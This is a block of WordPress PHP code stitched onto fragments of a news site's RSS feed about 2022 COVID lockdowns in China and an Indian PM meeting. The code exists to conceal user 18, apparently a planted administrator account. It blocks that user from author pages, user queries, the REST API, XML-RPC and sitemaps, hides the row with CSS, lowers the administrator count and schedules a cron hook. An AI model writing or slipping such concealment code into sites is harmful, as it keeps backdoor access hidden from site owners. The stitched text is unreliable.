add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>North-East China Goes Under Complete Lockdown Due To Rising Cases</title>
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					<description><![CDATA[<p>As the number of COVID-19 instances in China continues to rise, the Chinese government has issued stay-at-home restrictions to millions more residents in the country&#8217;s northeast regions. Following the highest rise in COVID cases since the pandemic&#8217;s original breakout in Wuhan two years ago, the government imposed harsh lockdown limitations on nearly 5 million individuals. [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/north-east-china-goes-under-complete-lockdown-due-to-rising-cases">North-East China Goes Under Complete Lockdown Due To Rising Cases</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>As the number of COVID-19 instances in China continues to rise, the Chinese government has issued stay-at-home restrictions to millions more residents in the country&#8217;s northeast regions. Following the highest rise in COVID cases since the pandemic&#8217;s original breakout in Wuhan two years ago, the government imposed harsh lockdown limitations on nearly 5 million individuals. With focused lockdowns, mass screening, and travel bans, the government has mostly held the virus at bay since its initial outbreak in 2020.</p>
<p>With the anticipated spread of the stealth Omicron variety, the country&#8217;s COVID curve is growing dramatically this time. China just reported its second virus-related fatality in over a year.</p>
<p>The post <a href="https://theedgemedia.in/north-east-china-goes-under-complete-lockdown-due-to-rising-cases">North-East China Goes Under Complete Lockdown Due To Rising Cases</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>China Goes Under Lockdown After 2 Years Due To Massive Outbreak</title>
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		<pubDate>Mon, 14 Mar 2022 05:39:09 +0000</pubDate>
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					<description><![CDATA[<p>China is presently seeing its greatest epidemic of the virus in two years, while most nations across the globe open up and restart &#8216;regular life&#8217; with a drop in Covid-19 infections. In just one day, on Sunday alone, the country recorded 3,100 new regionally transmitted infections, the largest number in two years. The Omicron strain has been [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/china-goes-under-lockdown-after-2-years-due-to-massive-outbreak">China Goes Under Lockdown After 2 Years Due To Massive Outbreak</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>China is presently seeing its greatest epidemic of the virus in two years, while most nations across the globe open up and restart &#8216;regular life&#8217; with a drop in Covid-19 infections. In just one day, on Sunday alone, the country recorded 3,100 new regionally transmitted infections, the largest number in two years. The Omicron strain has been blamed by certain local authorities for the increase in instances. As a result of the increase in incidents, millions of people in various areas of China are now living in constant fear.</p>
<p>According to an article in the South China Morning Post, some provincial health officials have ascribed the increase in cases in China to the Omicron strain, which is highly infectious but exhibits less serious symptoms than the initial Covid-19 virus.</p>
<p>The post <a href="https://theedgemedia.in/china-goes-under-lockdown-after-2-years-due-to-massive-outbreak">China Goes Under Lockdown After 2 Years Due To Massive Outbreak</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>PM Modi to disscuss Covid situation with CMs</title>
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					<description><![CDATA[<p>Amid rising cases of Covid 19 and Omicron variant, Prime Minister will interact with CMs to discuss the challenges and situation of various states. Various states have issued fresh Covid restrictions to curb massive Covid outbreaks. The Covid related measures and situation will be discussed at 4:30 PM via video conferencing. While Reviewing the situation [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Amid rising cases of Covid 19 and Omicron variant, Prime Minister will interact with CMs to discuss the challenges and situation of various states. Various states have issued fresh Covid restrictions to curb massive Covid outbreaks.</p>
<p>The Covid related measures and situation will be discussed at 4:30 PM via video conferencing. While Reviewing the situation at the High-level meeting PM Modi called for ensuring an adequate amount of health infrastructure in every state at the district level along with accelerating vaccination drive, working in mission mode.</p>
<p>Public health response and state-specific scenarios will be discussed with CMs</p>
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